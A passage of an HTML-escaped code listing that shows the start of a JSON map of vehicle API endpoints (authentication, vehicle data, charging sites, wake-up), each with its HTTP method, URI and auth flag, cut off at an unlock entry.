&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;385&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#385&#34;&gt;385&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;386&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#386&#34;&gt;386&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;387&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#387&#34;&gt;387&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;388&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#388&#34;&gt;388&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;389&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#389&#34;&gt;389&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;390&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#390&#34;&gt;390&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;391&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#391&#34;&gt;391&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;392&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#392&#34;&gt;392&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;393&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#393&#34;&gt;393&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;394&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#394&#34;&gt;394&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;395&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#395&#34;&gt;395&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;396&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#396&#34;&gt;396&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;397&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#397&#34;&gt;397&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;398&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#398&#34;&gt;398&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;399&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#399&#34;&gt;399&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;400&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#400&#34;&gt;400&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;401&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#401&#34;&gt;401&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;402&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#402&#34;&gt;402&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;403&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#403&#34;&gt;403&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;404&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#404&#34;&gt;404&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;405&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#405&#34;&gt;405&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;406&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#406&#34;&gt;406&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;407&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#407&#34;&gt;407&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;408&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#408&#34;&gt;408&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;409&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#409&#34;&gt;409&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;410&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#410&#34;&gt;410&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;411&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#411&#34;&gt;411&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;412&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#412&#34;&gt;412&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;413&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#413&#34;&gt;413&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;414&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#414&#34;&gt;414&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;415&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#415&#34;&gt;415&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;416&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#416&#34;&gt;416&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;417&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#417&#34;&gt;417&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;418&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#418&#34;&gt;418&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;419&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#419&#34;&gt;419&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;420&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#420&#34;&gt;420&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;421&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#421&#34;&gt;421&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;422&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#422&#34;&gt;422&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;423&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#423&#34;&gt;423&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;424&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#424&#34;&gt;424&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;425&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#425&#34;&gt;425&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;426&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#426&#34;&gt;426&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;427&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#427&#34;&gt;427&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;428&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#428&#34;&gt;428&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;429&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#429&#34;&gt;429&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;430&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#430&#34;&gt;430&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;431&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#431&#34;&gt;431&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;432&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#432&#34;&gt;432&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;433&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#433&#34;&gt;433&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;434&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#434&#34;&gt;434&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;435&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#435&#34;&gt;435&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;436&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#436&#34;&gt;436&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;437&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#437&#34;&gt;437&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;438&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#438&#34;&gt;438&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTHENTICATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;oauth/token&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;REVOKE_AUTH_TOKEN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;oauth/revoke&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;PRODUCT_LIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/products&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;VEHICLE_LIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;VEHICLE_SUMMARY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;VEHICLE_DATA_LEGACY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;VEHICLE_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/vehicle_data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;NEARBY_CHARGING_SITES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/nearby_charging_sites&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;WAKE_UP&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/wake_up&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;UNLOCK&amp;#34;&lt;/span&gt;: {
